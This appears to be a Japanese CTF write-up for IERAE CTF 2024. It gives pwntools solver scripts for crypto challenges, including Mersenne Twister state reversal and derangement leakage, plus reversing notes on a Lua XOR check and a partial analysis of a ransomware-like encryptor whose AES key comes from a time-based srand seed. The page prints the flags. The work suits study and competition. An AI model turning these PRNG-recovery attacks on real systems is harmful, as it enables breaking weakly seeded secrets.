Writer:b1uef0x / Webページ建造途中
warmup以外では2問回答、1問を途中まで。
I've made a secret magic string, perfectly encrypted!
サーバー上で次のプログラムが動作している。
#!/usr/bin/env python
from os import getenv
import random
import string
import sys
FLAG = getenv("FLAG", "TEST{TEST_FLAG}")
LENGTH = 15
CHAR_SET = string.ascii_letters + string.digits + string.punctuation
def generate_magic_word(length=LENGTH, char_set=CHAR_SET):
return ''.join(random.sample(char_set, length))
def is_derangement(perm, original):
return all(p != o for p, o in zip(perm, original))
def output_derangement(magic_word):
while True:
deranged = ''.join(random.sample(magic_word, len(magic_word)))
if is_derangement(deranged, magic_word):
print('hint:', deranged)
break
def guess_random(magic_word, flag):
print('Oops, I spilled the beans! What is the magic word?')
if input('> ') == magic_word:
print('Congrats!\n', flag)
return True
print('Nope')
return False
def main():
magic_word = generate_magic_word()
banner = """
/********************************************************\\
| |
| Abracadabra, let's perfectly rearrange everything! |
| |
\\********************************************************/
"""
print(banner)
connection_count = 0
while connection_count < 300:
print('type 1 to show hint')
print('type 2 to submit the magic word')
try:
connection_count += 1
user_input = int(input('> '))
if user_input == 1:
output_derangement(magic_word)
elif user_input == 2:
if guess_random(magic_word, FLAG):
break
sys.exit()
else:
print('bye!')
sys.exit()
except:
sys.exit(-1)
print('Connection limit reached. Exiting...')
if __name__ == "__main__":
main()
文字列をランダムに並び替えるところを読むと、各文字が元の位置以外に並び替えるようにできているので、繰り返し取得して各文字の元の位置を特定できる。
次のソルバーを作成。
from pwn import *
derangement = ["" for j in range(15)]
magicsample = ""
io = remote('104.199.135.28',55555)
for i in range(300):
io.recvuntil(b"> ")
io.sendline(b"1")
line = io.recvline().decode()
if magicsample == "":
magicsample = line[6:6+15]
for j in range(15):
charj = line[6+j]
if charj not in derangement[j]:
derangement[j] += charj
f = 0
for k in derangement:
if len(k)==14:
f += 1
if f==15:
break
else:
debug = ""
for j in derangement:
debug += str(len(j)) + " "
print(debug)
magicword = ""
for i in range(15):
for j in range(15):
if magicsample[j] not in derangement[i]:
magicword += magicsample[j]
break
print("magicword:",magicword)
io.recvuntil(b"> ")
io.sendline(b"2")
io.sendline(magicword.encode())
io.interactive()
$ python3 solve.py
[+] Opening connection to 104.199.135.28 on port 55555: Done
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
2 1 2 2 2 2 2 2 1 2 2 1 2 1 2
3 2 3 3 3 3 3 2 2 3 3 2 2 2 3
3 3 4 4 4 4 4 3 3 4 4 3 3 3 4
4 4 4 5 4 5 4 4 4 5 4 4 3 3 5
5 5 5 5 4 6 5 4 5 5 5 5 4 4 6
6 6 5 5 5 7 6 5 5 6 6 5 5 5 6
7 7 5 6 5 8 6 6 6 6 7 6 5 6 7
8 8 5 7 6 8 6 7 7 6 7 7 6 6 7
8 8 6 8 6 8 7 7 7 7 7 7 6 6 8
9 9 6 8 6 8 8 7 7 7 8 7 6 7 9
9 9 7 9 6 8 8 8 8 7 8 7 7 7 10
9 9 8 9 7 8 9 8 9 7 9 8 8 8 10
10 9 9 9 8 8 9 8 9 8 9 8 8 8 10
10 9 9 9 8 8 9 9 9 8 9 9 8 9 10
11 10 9 9 9 9 9 10 10 8 10 9 9 10 11
11 10 9 9 10 9 10 10 10 8 11 9 10 10 11
12 11 9 9 11 9 10 10 10 8 11 9 10 10 11
13 11 10 10 11 10 10 10 11 8 11 9 10 10 12
14 12 10 10 11 10 10 10 11 8 11 9 10 10 12
14 12 10 11 11 10 10 11 11 9 11 9 10 10 12
14 13 10 11 11 11 11 11 11 9 11 10 10 10 12
14 13 11 11 11 11 11 12 11 10 11 10 10 10 12
14 13 11 11 11 11 11 12 12 11 12 10 10 10 12
14 13 11 11 11 12 11 12 12 12 12 11 11 10 12
14 13 11 12 11 12 11 12 12 12 12 11 11 10 12
14 13 11 12 11 12 11 12 12 12 12 11 11 10 13
14 13 11 12 11 12 11 13 12 12 12 11 11 10 13
14 14 11 13 12 12 11 13 12 12 12 11 11 10 13
14 14 11 13 12 12 11 14 12 12 12 12 11 10 13
14 14 12 13 12 12 11 14 12 12 13 12 11 10 13
14 14 12 13 12 12 12 14 12 13 14 13 11 10 13
14 14 12 13 13 12 12 14 12 13 14 13 11 11 13
14 14 12 13 13 12 12 14 13 13 14 13 11 11 13
14 14 12 13 13 12 12 14 13 13 14 13 11 11 13
14 14 12 13 13 12 12 14 13 13 14 13 11 11 13
14 14 12 13 13 12 12 14 13 13 14 13 11 11 13
14 14 12 14 13 12 12 14 13 13 14 14 11 12 13
14 14 12 14 13 12 12 14 13 13 14 14 11 12 13
14 14 12 14 13 12 12 14 13 13 14 14 11 12 13
14 14 12 14 13 12 12 14 13 13 14 14 11 12 13
14 14 12 14 13 12 12 14 13 13 14 14 11 12 13
14 14 12 14 13 12 12 14 13 13 14 14 12 12 14
14 14 13 14 13 13 12 14 13 13 14 14 12 12 14
14 14 13 14 13 13 13 14 13 13 14 14 12 12 14
14 14 13 14 13 13 13 14 13 13 14 14 12 12 14
14 14 13 14 13 13 13 14 14 13 14 14 12 12 14
14 14 13 14 13 13 13 14 14 14 14 14 12 13 14
14 14 14 14 13 13 14 14 14 14 14 14 12 13 14
14 14 14 14 13 13 14 14 14 14 14 14 12 13 14
14 14 14 14 13 13 14 14 14 14 14 14 12 14 14
14 14 14 14 13 13 14 14 14 14 14 14 12 14 14
14 14 14 14 13 13 14 14 14 14 14 14 12 14 14
14 14 14 14 13 13 14 14 14 14 14 14 12 14 14
14 14 14 14 13 13 14 14 14 14 14 14 12 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 13 14 14 14 14 14 14 13 14 14
14 14 14 14 13 14 14 14 14 14 14 14 13 14 14
14 14 14 14 13 14 14 14 14 14 14 14 13 14 14
14 14 14 14 13 14 14 14 14 14 14 14 13 14 14
14 14 14 14 13 14 14 14 14 14 14 14 13 14 14
14 14 14 14 14 14 14 14 14 14 14 14 13 14 14
14 14 14 14 14 14 14 14 14 14 14 14 13 14 14
14 14 14 14 14 14 14 14 14 14 14 14 13 14 14
magicword: ,<afv8zQU(>)|x%
[*] Switching to interactive mode
Oops, I spilled the beans! What is the magic word?
> Congrats!
IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
Do you understand the traits of that famous PRNG?
恒例のメルセンヌ・ツイスタ問題。
#!/usr/bin/env python
from os import getenv
import random
import secrets
FLAG = getenv("FLAG", "TEST{TEST_FLAG}")
def main():
# Python uses the Mersenne Twister (MT19937) as the core generator.
# Setup Random Number Generator
rng = random.Random()
rng.seed(secrets.randbits(32))
secret = rng.getrandbits(32)
print("Welcome!")
print("Recover the initial output and input them to get the flag.")
while True:
print("--------------------")
print("Menu")
print("1. Get next 16 random data")
print("2. Submit your answer")
print("3. Quit")
print("Enter your choice (1-3)")
choice = input("> ").strip()
if choice == "1":
print("Here are your random data:")
for _ in range(16):
print(rng.getrandbits(32))
elif choice == "2":
print("Enter the secret decimal number")
try:
num = int(input("> ").strip())
if num == secret:
print("Correct! Here is your flag:")
print(FLAG)
else:
print("Incorrect number. Bye!")
break
except (ValueError, EOFError):
print("Invalid input. Exiting.")
break
elif choice == "3":
print("Bye!")
break
else:
print("Invalid choice. Please enter 1, 2 or 3.")
continue
if __name__ == "__main__":
main()
ランダムなシード値が与えられたPythonのRandom関数が用意され、1個目の乱数を当てることができればflagが表示される。2個目以降は好きなだけ表示させることができる。 pythonのgetrandbits(32)はメルセンヌ・ツイスタの内部状態624個の配列から1個分の乱数を順番に出力する。よって2番目以降の乱数を取得してsecretに入っている1番目の内部状態を復元する。
手持ちのメルセンヌ・ツイスタ逆算コードが上手に動かなかったので次のWebページから、次の内部状態から前の内部状態を復元するコードをもらった。
最初の624個の内部状態の配列のうち、1個目はsecretに入っている。続く623個を破棄して、内部状態が更新された次の624個を取得して前の状態を逆算する。
import random
from pwn import *
def untemper(x):
x = unBitshiftRightXor(x, 18)
x = unBitshiftLeftXor(x, 15, 0xefc60000)
x = unBitshiftLeftXor(x, 7, 0x9d2c5680)
x = unBitshiftRightXor(x, 11)
return x
def unBitshiftRightXor(x, shift):
i = 1
y = x
while i * shift < 32:
z = y >> shift
y = x ^ z
i += 1
return y
def unBitshiftLeftXor(x, shift, mask):
i = 1
y = x
while i * shift < 32:
z = y << shift
y = x ^ (z & mask)
i += 1
return y
def get_prev_state(state):
for i in range(623, -1, -1):
result = 0
tmp = state[i]
tmp ^= state[(i + 397) % 624]
if ((tmp & 0x80000000) == 0x80000000):
tmp ^= 0x9908b0df
result = (tmp << 1) & 0x80000000
tmp = state[(i - 1 + 624) % 624]
tmp ^= state[(i + 396) % 624]
if ((tmp & 0x80000000) == 0x80000000):
tmp ^= 0x9908b0df
result |= 1
result |= (tmp << 1) & 0x7fffffff
state[i] = result
return state
N = 624
output = []
output.append(0)
io = remote('35.201.137.32',19937)
for i in range(78):
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvline()
for j in range(16):
line = io.recvline().decode()
output.append(int(line))
xs0 = [0]
for i in range(1,N,1):
xs0 += [output[i]]
xs1 = []
for i in range(0,N,1):
xs1 += [output[i+N]]
mt_state = [untemper(x) for x in xs1]
prev_mt_state = get_prev_state(mt_state)
random.setstate((3, tuple(prev_mt_state + [0]), None))
predicted = [random.getrandbits(32) for _ in range(N)]
io.recvuntil(b"> ")
io.sendline(b"2")
io.recvuntil(b"> ")
io.sendline(str(predicted[0]).encode())
io.interactive()
$ python3 solve2.py
[+] Opening connection to 35.201.137.32 on port 19937: Done
[*] Switching to interactive mode
Correct! Here is your flag:
IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
Do you need to solve many ECDLPs?
解けなかった問題。進んだところまで。
楕円曲線の離散対数問題で、サーバーで次のプログラムが走っている。
#!/usr/bin/env sage
from Crypto.Util.number import *
from os import getenv
FLAG = getenv("FLAG", "TEST{TEST_FLAG}").encode()
f = bytes_to_long(FLAG)
p = random_prime(2^128)
Fp = GF(p)
a, b = Fp.random_element(), Fp.random_element()
E = EllipticCurve(Fp, [a, b])
print(a)
print(b)
print(p)
gens = list(E.gens())
if len(gens) < 2:
gens.append(ZZ(Fp.random_element()) * E.gens()[0])
res = []
while f > 0:
r = Fp.random_element()
res.append(ZZ(r) * gens[f & 1])
f >>= 1
for R in res:
print(R.xy())
このプログラムの内容は以下の通り。
各Rの座標からflagのビットを復元したい。ChatGPT-o1-previewを使って解き方を検討したところ、次の手順を考えた。
これに基づいて次のソルバーを作成。
from sage.all import *
from pwn import *
ff = False
for i in range(100):
io = remote('35.236.178.27',11119)
a = int(io.recvline().decode())
b = int(io.recvline().decode())
p = int(io.recvline().decode())
points = []
for j in range(567):
line = io.recvline().decode()[1:-3].split(",")
points.append([int(line[0]),int(line[1])])
io.close()
E = EllipticCurve(GF(p), [a, b])
gens = list(E.gens())
print(gens)
if len(gens)>1 :
print("a",a)
print("b",b)
print("p",p)
order0 = E.gens()[0].order()
order1 = E.gens()[1].order()
if order0 == order1:
print("order match",order0)
else:
ff = True
break
if not ff:
exit()
print(points)
# Reconstruct the elliptic curve
#E = EllipticCurve(GF(p), [a, b])
# Get the generators and their orders
gens = E.gens()
order0 = gens[0].order()
order1 = gens[1].order()
print("order0",order0)
print("order1",order1)
print("gcd",gcd(order0, order1))
# Initialize the list to hold bits
bits = []
# Process each point
for xy in points:
R_i = E.point([xy[0],xy[1]])
#print(R_i,order0 * R_i,order1 * R_i)
if order1 * R_i == E(0):
bits.append('1')
elif order0 * R_i == E(0):
bits.append('0')
else:
raise ValueError("Point does not belong to known subgroups.")
# Reconstruct 'f' from bits
f = int(''.join(bits[::-1]), 2)
# Convert 'f' back to the FLAG
from Crypto.Util.number import long_to_bytes
FLAG = long_to_bytes(f)
print("Recovered FLAG:", FLAG)
ソルバーでは繰り返し問題を取得しているが、これは多くの場合で生成元gensが1個しか存在せず、1個の場合はスカラー倍で2個になるため2つの生成元がお互いに独立ではなくなってしまうためである。
しかし運良く生成元が2個のパターンを引いても、gens2個のGCDを取ると片方がもう片方の倍数になったものしか入手できず、flagの完全な復元には失敗した。
flagの復元がある程度成功することもあり、以下の不完全なflagを得た。
Recovered FLAG: b'IERAE{7de6b745404269a0f7b40955047921c6860e4438c73eb095090e75c8fb00cb51}'
Recovered FLAG: b'IERAE{7de6f7454\xb04269a0d7b40955047969c6860e4438c73\xe5b095090e75c\xbcfb04wb51}'
Recovered FLAG: b']eRQE{\xb7dg?r?4540\xbc\xb2v9k0g7b4p955147\xb961c7\xba6\xf1m4<38c73ej\xb09w\xb292e?5s:fjq0cb\xb51}'
Recovered FLAG: b'IErAE{7devf\xb75u60v2v9gpd?k\xb4\xb0\xb97\xb5\xb0\xb47925w686pe|\xb43<s7\xb3eb\xb1{5x92\xed7\xb7c:gg10\xe3b59}'
Recovered FLAG: b'YMRAg{?dgvf7\xbd54v<:69e\xb8d7b429\xb552\xb4?9\xb21k6:7\xb0\xe54438s73er0=509pe7ug;fb00\xe3b=\xf9}'
Recovered FLAG: b'IERQE{7d\xef6b74=6\xb0tr\xf6y\xe30fw\xe2t1955047\xb921c68>0m44{8c73eb0{5096e7}g8ff0pcru3}'
Recovered FLAG: b'IERAE\x7f7tu6c745\xb464269q0d7r64955047921k6860\xe54<38c73er09549\xb0e77\xe38fb00c\xe251}'
Recovered FLAG: b'IERCG{7fe7r75u\xb48<:69\xe10d7f40\xbd5u\xb14\x7f=\xb21c\xbe\xbc60e\xb5>3|c73mb095:}8e7=c8fb\xb04kj5q}'
Recovered FLAG: b'IE\xd2EE{7dg\xb6b74=|7>3\xb6=\xe14\xf47b649550t7;23c686re64s8c\xb7web0958\xb90e77\xe3xfb13sb51}'
Recovered FLAG: b'IGRaE{7\xecevg7t5614269q\xb0d7z40y550~\xb7=21g6:v1e45;x\xe3w3\xef\xf20;5290\xe575c8\xe6r01ccu1\xfd'
さらにここから最頻出ビットを計算して、次の2択に絞り込んだが、正しいflagではなかった。
IERAE{de6f745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
IERAE{de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
絞り込んだflagの出力に欠損があり、IERAE{7de...がIERAE[de...となっていることに気づいた。修正した統合プログラムは以下の通り。10サンプル中7サンプル以上が共通するビットを採用する方法。
from Crypto.Util.number import long_to_bytes,bytes_to_long
import re
def is_hexadecimal(s):
try:
hex_pattern = re.fullmatch(r'[0-9A-Fa-f]+', s.decode())
return hex_pattern is not None
except:
return False
flags = []
flags.append(b'IERAE{7de6b745404269a0f7b40955047921c6860e4438c73eb095090e75c8fb00cb51}')
flags.append(b'IERAE{7de6f7454\xb04269a0d7b40955047969c6860e4438c73\xe5b095090e75c\xbcfb04wb51}')
flags.append(b']eRQE{\xb7dg?r?4540\xbc\xb2v9k0g7b4p955147\xb961c7\xba6\xf1m4<38c73ej\xb09w\xb292e?5s:fjq0cb\xb51}')
flags.append(b'IErAE{7devf\xb75u60v2v9gpd?k\xb4\xb0\xb97\xb5\xb0\xb47925w686pe|\xb43<s7\xb3eb\xb1{5x92\xed7\xb7c:gg10\xe3b59}')
flags.append(b'YMRAg{?dgvf7\xbd54v<:69e\xb8d7b429\xb552\xb4?9\xb21k6:7\xb0\xe54438s73er0=509pe7ug;fb00\xe3b=\xf9}')
flags.append(b'IERQE{7d\xef6b74=6\xb0tr\xf6y\xe30fw\xe2t1955047\xb921c68>0m44{8c73eb0{5096e7}g8ff0pcru3}')
flags.append(b'IERAE\x7f7tu6c745\xb464269q0d7r64955047921k6860\xe54<38c73er09549\xb0e77\xe38fb00c\xe251}')
flags.append(b'IERCG{7fe7r75u\xb48<:69\xe10d7f40\xbd5u\xb14\x7f=\xb21c\xbe\xbc60e\xb5>3|c73mb095:}8e7=c8fb\xb04kj5q}')
flags.append(b'IE\xd2EE{7dg\xb6b74=|7>3\xb6=\xe14\xf47b649550t7;23c686re64s8c\xb7web0958\xb90e77\xe3xfb13sb51}')
flags.append(b'IGRaE{7\xecevg7t5614269q\xb0d7z40y550~\xb7=21g6:v1e45;x\xe3w3\xef\xf20;5290\xe575c8\xe6r01ccu1\xfd')
bitss = []
for i in flags:
bitss.append("0"+bin(bytes_to_long(i))[2:])
ans = ""
for i in range(568):
c0 = 0
c1 = 0
for j in bitss:
if j[i]=="1":
c1 += 1
else:
c0 += 1
if c1>6 :
ans += "1"
elif c0>6:
ans += "0"
else:
ans += "*"
def createbits(bits,x):
if x>=len(ans) :
s = long_to_bytes(int(bits, 2))
if is_hexadecimal(s[6:-1]):
print(s)
elif ans[x] == "*":
createbits(bits+"1",x+1)
createbits(bits+"0",x+1)
else:
createbits(bits+ans[x],x+1)
createbits("",0)
出力は次の2つで、2番目がflagだった。
IERAE{7de6f745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
Assignment is the root of everything in procedural programs.
Linuxの実行バイナリが配布される。Ghidraで逆コンパイルすると次のmain関数が見つかる。
undefined8 main(int param_1,long param_2)
{
int iVar1;
flag[28] = 0x33;
flag[1] = 0x45;
flag[2] = 0x52;
flag[20] = 0x72;
flag[26] = 0x61;
flag[10] = 0x5f;
flag[32] = 0x7d;
flag[9] = 0x65;
flag[22] = 0x6e;
flag[17] = 0x5f;
flag[6] = 0x73;
flag[7] = 0x30;
flag[15] = 0x30;
flag[16] = 0x6d;
flag[21] = 0x31;
flag[24] = 0x5f;
flag[12] = 0x34;
flag[25] = 0x35;
flag[31] = 99;
flag[3] = 0x41;
flag[0] = 0x49;
flag[29] = 0x35;
flag[18] = 0x73;
flag[19] = 0x74;
flag[11] = 0x72;
flag[8] = 0x6d;
flag[5] = 0x7b;
flag[4] = 0x45;
flag[27] = 0x39;
flag[30] = 0x34;
flag[23] = 0x67;
flag[13] = 0x6e;
flag[14] = 100;
if (1 < param_1) {
iVar1 = strcmp(flag,*(char **)(param_2 + 8));
if (iVar1 == 0) {
puts(flag);
}
}
return 0;
}
flagが直接ハードコーディングされており、ここから復元。
IERAE{s0me_r4nd0m_str1ng_5a9354c}
The luac file is compiled and tested on Lua 5.4.7
luacファイルが与えられるので、Webデコンパイラを使って逆コンパイルした。
-- filename: @/mnt/LuzDaLua.lua
-- version: lua54
-- line: [0, 0] id: 0
io.write("Input > ")
input = io.read("*l")
if string.len(input) ~= 28 then
goto label_301
elseif string.byte(input, 1) ~ 232 ~= 161 then
goto label_301
elseif string.byte(input, 2) ~ 110 ~= 43 then
goto label_301
elseif string.byte(input, 3) ~ 178 ~= 224 then
goto label_301
elseif string.byte(input, 4) ~ 172 ~= 237 then
goto label_301
elseif string.byte(input, 5) ~ 212 ~= 145 then
goto label_301
elseif string.byte(input, 6) ~ 25 ~= 98 then
goto label_301
elseif string.byte(input, 7) ~ 53 ~= 121 then
goto label_301
elseif string.byte(input, 8) ~ 63 ~= 74 then
goto label_301
elseif string.byte(input, 9) ~ 135 ~= 230 then
goto label_301
elseif string.byte(input, 10) ~ 92 ~= 3 then
goto label_301
elseif string.byte(input, 11) ~ 38 ~= 23 then
goto label_301
elseif string.byte(input, 12) ~ 250 ~= 137 then
goto label_301
elseif string.byte(input, 13) ~ 216 ~= 135 then
goto label_301
elseif string.byte(input, 14) ~ 5 ~= 86 then
goto label_301
elseif string.byte(input, 15) ~ 69 ~= 117 then
goto label_301
elseif string.byte(input, 16) ~ 226 ~= 189 then
goto label_301
elseif string.byte(input, 17) ~ 137 ~= 186 then
goto label_301
elseif string.byte(input, 18) ~ 148 ~= 240 then
goto label_301
elseif string.byte(input, 19) ~ 64 ~= 53 then
goto label_301
elseif string.byte(input, 20) ~ 130 ~= 225 then
goto label_301
elseif string.byte(input, 21) ~ 241 ~= 197 then
goto label_301
elseif string.byte(input, 22) ~ 151 ~= 227 then
goto label_301
elseif string.byte(input, 23) ~ 203 ~= 250 then
goto label_301
elseif string.byte(input, 24) ~ 179 ~= 220 then
goto label_301
elseif string.byte(input, 25) ~ 216 ~= 182 then
goto label_301
elseif string.byte(input, 26) ~ 101 ~= 4 then
goto label_301
elseif string.byte(input, 27) ~ 238 ~= 130 then
goto label_301
elseif string.byte(input, 28) ~ 61 ~= 64 then
goto label_301
else
print("Correct")
end
-- warn: not visited block [59]
-- block#59:
-- _ENV.print("Wrong")
入力文字を1文字ずつXOR演算して不一致を見ているので、2つの数字をXORすればflagの文字列を復元できる。
IERAE{Lua_1s_S0_3duc4t1onal}
The flag has been lost.
laika.exeによって暗号化されたflag.pngを復元する問題。laika.exeをGhidraで逆コンパイルすると次の関数が見つかる。
void FUN_140001aa0(void)
{
int iVar1;
BOOL BVar2;
HANDLE pvVar3;
FILE *pFVar4;
longlong lVar5;
UCHAR *pUVar6;
undefined8 uVar7;
ulonglong uVar8;
undefined8 uVar9;
LPDWORD lpNumberOfBytesWritten;
undefined auStackY_c8 [32];
uint local_84;
uint local_80;
PUCHAR local_70;
PUCHAR local_68;
uint local_60;
uint local_5c;
_SYSTEMTIME local_58;
DWORD local_48 [2];
UCHAR local_40 [16];
UCHAR local_30 [32];
ulonglong local_10;
local_10 = DAT_140005000 ^ (ulonglong)auStackY_c8;
pUVar6 = local_30;
for (lVar5 = 0x20; lVar5 != 0; lVar5 = lVar5 + -1) {
*pUVar6 = '\0';
pUVar6 = pUVar6 + 1;
}
pUVar6 = local_40;
for (lVar5 = 0x10; lVar5 != 0; lVar5 = lVar5 + -1) {
*pUVar6 = '\0';
pUVar6 = pUVar6 + 1;
}
local_68 = (PUCHAR)0x0;
local_5c = 0;
FUN_140001410(&local_68,&local_5c);
FUN_1400016e0();
FUN_1400018d0();
GetLocalTime(&local_58);
srand((((((((local_58.wYear + 0x200ab) * 0x200ab + (uint)local_58.wMonth) * 0x200ab +
(uint)local_58.wDayOfWeek) * 0x200ab + (uint)local_58.wDay) * 0x200ab +
(uint)local_58.wHour) * 0x200ab + (uint)local_58.wMinute) * 0x200ab +
(uint)local_58.wSecond) * 0x200ab + (uint)local_58.wMilliseconds);
for (local_84 = 0; local_84 < 0x20; local_84 = local_84 + 1) {
iVar1 = rand();
local_30[local_84] = (UCHAR)iVar1;
}
for (local_80 = 0; local_80 < 0x10; local_80 = local_80 + 1) {
iVar1 = rand();
local_40[local_80] = (UCHAR)iVar1;
}
local_70 = (PUCHAR)0x0;
local_60 = 0;
FUN_1400010d0(local_30,0x20,local_40,0x10,local_68,local_5c,&local_70,&local_60);
FUN_140001650((longlong)local_70,local_60);
uVar9 = 0;
uVar7 = 0;
pvVar3 = CreateFileW(L"flag.png.laika",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0)
;
if (pvVar3 == (HANDLE)0xffffffffffffffff) {
pFVar4 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar4,"Error: CreateFile\n",uVar7,uVar9);
/* WARNING: Subroutine does not return */
exit(1);
}
lpNumberOfBytesWritten = local_48;
uVar8 = (ulonglong)local_60;
BVar2 = WriteFile(pvVar3,local_70,local_60,lpNumberOfBytesWritten,(LPOVERLAPPED)0x0);
if (BVar2 == 0) {
pFVar4 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar4,"Error: WriteFile\n",uVar8,lpNumberOfBytesWritten);
CloseHandle(pvVar3);
/* WARNING: Subroutine does not return */
exit(1);
}
CloseHandle(pvVar3);
if (local_70 != (PUCHAR)0x0) {
pvVar3 = GetProcessHeap();
HeapFree(pvVar3,0,local_70);
}
if (local_68 != (PUCHAR)0x0) {
pvVar3 = GetProcessHeap();
HeapFree(pvVar3,0,local_68);
}
FUN_140001de0(local_10 ^ (ulonglong)auStackY_c8);
return;
}
中身は割愛するが、FUN_140001410関数でflag.pngを読み込み、FUN_1400016e0でflag.pngを削除し、FUN_1400018d0でstatement.pngを出力する。暗号化後のflag.pngはflag.png.laikaとして出力される。
暗号化を実行する箇所はFUN_1400010d0とFUN_140001650の2つである。
void FUN_1400010d0(PUCHAR param_1,ULONG param_2,PUCHAR param_3,ULONG param_4,PUCHAR param_5,
uint param_6,PUCHAR *param_7,ULONG *param_8)
{
NTSTATUS NVar1;
FILE *pFVar2;
ulonglong uVar3;
HANDLE hHeap;
PUCHAR pbOutput;
wchar_t *pwVar4;
undefined8 uVar5;
undefined8 uVar6;
undefined auStackY_98 [32];
uint local_30 [2];
BCRYPT_KEY_HANDLE local_28;
BCRYPT_HANDLE local_20;
ULONG local_18 [2];
ulonglong local_10;
local_10 = DAT_140005000 ^ (ulonglong)auStackY_98;
local_20 = (BCRYPT_HANDLE)0x0;
local_28 = (BCRYPT_KEY_HANDLE)0x0;
local_30[0] = 0;
local_18[0] = 0;
uVar5 = 0;
uVar6 = 0;
NVar1 = BCryptOpenAlgorithmProvider(&local_20,L"AES",(LPCWSTR)0x0,0);
if (NVar1 < 0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: BCryptOpenAlgorithmProvider\n",uVar6,uVar5);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar6 = 0x20;
pwVar4 = L"ChainingModeCBC";
NVar1 = BCryptSetProperty(local_20,L"ChainingMode",(PUCHAR)L"ChainingModeCBC",0x20,0);
if (NVar1 < 0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: BCryptSetProperty\n",pwVar4,uVar6);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar5 = 0;
uVar6 = 0;
NVar1 = BCryptGenerateSymmetricKey(local_20,&local_28,(PUCHAR)0x0,0,param_1,param_2,0);
if (NVar1 < 0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: BCryptGenerateSymmetricKey\n",uVar6,uVar5);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar6 = 0;
uVar3 = (ulonglong)param_6;
NVar1 = BCryptEncrypt(local_28,param_5,param_6,(void *)0x0,param_3,param_4,(PUCHAR)0x0,0,local_30,
1);
if (NVar1 < 0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: BCryptEncrypt (get size)\n",uVar3,uVar6);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar3 = (ulonglong)local_30[0];
hHeap = GetProcessHeap();
pbOutput = (PUCHAR)HeapAlloc(hHeap,0,uVar3);
if (pbOutput == (PUCHAR)0x0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: HeapAlloc\n",uVar3,uVar6);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar6 = 0;
uVar3 = (ulonglong)param_6;
NVar1 = BCryptEncrypt(local_28,param_5,param_6,(void *)0x0,param_3,param_4,pbOutput,local_30[0],
local_18,1);
if (NVar1 < 0) {
pFVar2 = (FILE *)__acrt_iob_func(2);
FUN_140001060(pFVar2,"Error: BCryptEncrypt\n",uVar3,uVar6);
/* WARNING: Subroutine does not return */
exit(1);
}
*param_7 = pbOutput;
*param_8 = local_18[0];
if (local_28 != (BCRYPT_KEY_HANDLE)0x0) {
BCryptDestroyKey(local_28);
}
if (local_20 != (BCRYPT_ALG_HANDLE)0x0) {
BCryptCloseAlgorithmProvider(local_20,0);
}
FUN_140001de0(local_10 ^ (ulonglong)auStackY_98);
return;
}
まずFUN_1400010d0ではAES暗号をCBCモードで実行している。
void FUN_140001650(longlong param_1,uint param_2)
{
undefined uVar1;
uint uVar2;
uint local_14;
for (local_14 = 0; local_14 < param_2; local_14 = local_14 + 1) {
uVar2 = FUN_1400015d0(0,param_2 - 1);
uVar1 = *(undefined *)(param_1 + (ulonglong)local_14);
*(undefined *)(param_1 + (ulonglong)local_14) = *(undefined *)(param_1 + (ulonglong)uVar2);
*(undefined *)(param_1 + (ulonglong)uVar2) = uVar1;
}
return;
}
int FUN_1400015d0(int param_1,int param_2)
{
int iVar1;
int iVar2;
int iVar3;
iVar1 = rand();
iVar2 = rand();
iVar3 = rand();
return param_1 + (uint)(iVar1 * iVar2 * iVar3) /
((int)(0xffffffff / (ulonglong)((param_2 - param_1) + 1)) + 1U);
}
続くFUN_140001650では、AESで暗号化されたバイト列をランダムに並び替えている。
これらの暗号化(AESのkeyとiv、およびランダムな並び替え)に使用する乱数はsrandで初期化されていて、FUN_140001aa0中の以下のコードになる。
GetLocalTime(&local_58);
srand((((((((local_58.wYear + 0x200ab) * 0x200ab + (uint)local_58.wMonth) * 0x200ab +
(uint)local_58.wDayOfWeek) * 0x200ab + (uint)local_58.wDay) * 0x200ab +
(uint)local_58.wHour) * 0x200ab + (uint)local_58.wMinute) * 0x200ab +
(uint)local_58.wSecond) * 0x200ab + (uint)local_58.wMilliseconds);
シード値はGetLocalTimeで取得した現在の日付時刻から作られており、暗号化されたflag.png.laikaのタイムスタンプから2024/9/17 12:49:20(+9:00)まで判明している。
